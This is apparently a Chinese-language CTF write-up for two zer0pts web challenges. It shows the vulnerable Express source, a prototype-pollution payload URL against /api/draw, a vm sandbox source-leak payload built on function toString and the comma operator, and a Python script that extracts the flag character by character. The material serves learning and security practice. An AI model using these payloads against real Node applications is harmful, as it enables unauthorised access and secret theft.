timetodraw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });

res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
res.json(canvas);
});

app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});

app.get('/promote', (req, res) => {
if (req.query.yo_i_want_to_be === 'admin')
res.cookie('user', { admin: true }, { signed: true });
res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/)
&& hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
res.send(secret.FLAG);
} else {
res.send("NO");
}

});

app.listen(3000, "0.0.0.0");

思路:JS原型链污染

/api/draw路由下,因为不是merge没有提前解析嵌套对象,所以可以用字符串键值对形式的__proto__污染Object.prototype

/flag路由下,不进入 if (req.signedCookies.user && req.signedCookies.user.admin === true)=== userData.token)的token就会去原型链上找,所以我们只需要提前准备一个符合math条件的token,然后计算remoteAddress+token的hash就可以得到FLAG

Payload

第一步:污染

1
http://192.168.40.131:8003/api/draw?x=__proto__&y=token&color=0f944383bd6e751b9e4ede2a41cee38ab9bf694c18ec0cc8875e03c476a0a412

const hash = (token) => crypto.createHash(‘sha256’).update(token).digest(‘hex’);

console.log(hash(192.168.40.11111111111111111))

提前计算token

第二步:获取FLAG

1
http://192.168.40.131:8003/flag?token=1111111111111111

kantan_calc

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';

if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}

res.render('index', { title: 'Kantan Calc', output });
});

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});

所需知识

逗号运算符

1
2
3
4
5
6
'use strict';
var a=(console.log(11111),2,3)
console.log(a)
//输出
//11111
//3

逗号运算符的特点是:

  • 它可以将多个表达式连接起来,按照从左到右的顺序依次执行。
  • 它只会返回最右边的表达式的值,并忽略其他表达式的值。

加号运算

  • 在js里,函数是一种特殊的对象,它有一个内置的属性叫做 toString ,这个属性是一个方法,它可以返回函数的源码字符串
  • 当我们在js里使用 + 运算符时,它可以进行两种操作:数值相加或者字符串拼接
  • 如果 + 运算符的两个操作数都是数值,那么它会进行数值相加。例如:1 + 2会返回3
  • 如果 + 运算符的两个操作数中有一个是字符串,那么它会进行字符串拼接。例如:'1' + 2会返回'12'
  • 如果 + 运算符的两个操作数中有一个是对象,那么它会先调用对象的 toString 方法,将对象转换为字符串,然后进行字符串拼接。例如:[1, 2] + 3会返回'1,23'
  • 因此,当我们在js里给一个函数名加上一个数字或者字符时,就相当于用 + 运算符将函数对象和数字或者字符进行运算。这时,js会先调用函数对象的 toString 方法,将函数对象转换为源码字符串,然后和数字或者字符进行字符串拼接。例如:function foo() {return 'bar';} + 1会返回'function foo() {return 'bar';}'

表达式函数体

下面的代码定义了一个计算平方的箭头函数,并使用了表达式函数体:

1
const square = x => (x * x);

这个箭头函数等价于下面的普通函数:

1
2
3
function square(x) {
return x * x;
}
  • 表达式函数体只能用在箭头函数表达式中,不能用在普通的函数声明或函数表达式中。
  • 表达式函数体只能有一个表达式,不能有多个语句或代码块。换句话说,只能存在一个返回值,可以与逗号运算符联动
  • 表达式函数体不需要用大括号{}括起来,而是用圆括号()括起来。
  • 表达式函数体会隐式地返回表达式的值,不需要写return语句。

WriteUp

思路

因为之前没有接触过js的加号还能打印源码,所以一直在往逃逸上面想,但是Object.create(null)决定了无法this逃出去,尝试本地取消长度限制可以用vm2的payload逃逸,但是长度明显大于30

只能找wp看,发现了很多新知识点都写到上面的所需知识中了

读取源码,最简单的方式就是arguments.callee.toString(),但是严格模式下不允许,所以只能用加号运算的特性来打印源码

但是加号运算首先得有变量名,而题目的vm预置代码里用的是匿名函数,所以需要我们自己创建一个新函数,而且字数要尽量少,所以选择箭头函数,

1
});this.a=()=>{return a+1/*

这样只占用了28个字符,但很遗憾,不能一下子读完flag

这里有个小疑惑,(a=()=>(1))这样的写法在我的本地nodejs环境下的严格模式是不能用的,但为什么在vm中的严格模式就可以呢?

而且});(a=()=>{return(a+1)[29]/*这个payload在我本地搭建的题目环境是可以一个一个字符读出来的,但是在docker的环境下就会报错,可能是nodejs版本问题?

如果必须加this的话长度就超过29了,我们就以最正规的解法来做吧

return也占用了6个字符,我们可以用表达式函数体来省略return字符串

但问题又来了,表达式函数体不能用{},无法闭合结尾的},所以还是放弃利用表达式函数体

看看其他地方能不能简化,});来结束一个函数体的话也会浪费字符长度,我们可以用上面提到的逗号运算符来在后面跟着执行我们自己的函数,而不是先结束再创建

而且这样我们可以不需要注释符,因为本来就是一个正常的js语句

最后利用逗号运算符返回最后一个逗号后的表达式代码的特性,就可以一个一个读取flag的内容了

1
},this.a=()=>{return(a+1)[20]

Exp

1
2
3
4
5
6
7
8
9
10
11
import requests
import re
url='http://192.168.40.131:8004/?code='
flag=''
for i in range(70):
str1=f"%7D%2Cthis.a%3D%28%29%3D%3E%7Breturn%28a%2B1%29%5B{str(i)}%5D"
result=requests.get(url=url+str1)
flag+=re.search(r"<output>(.*)</output>",result.text).group(1)
print(flag)

//zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}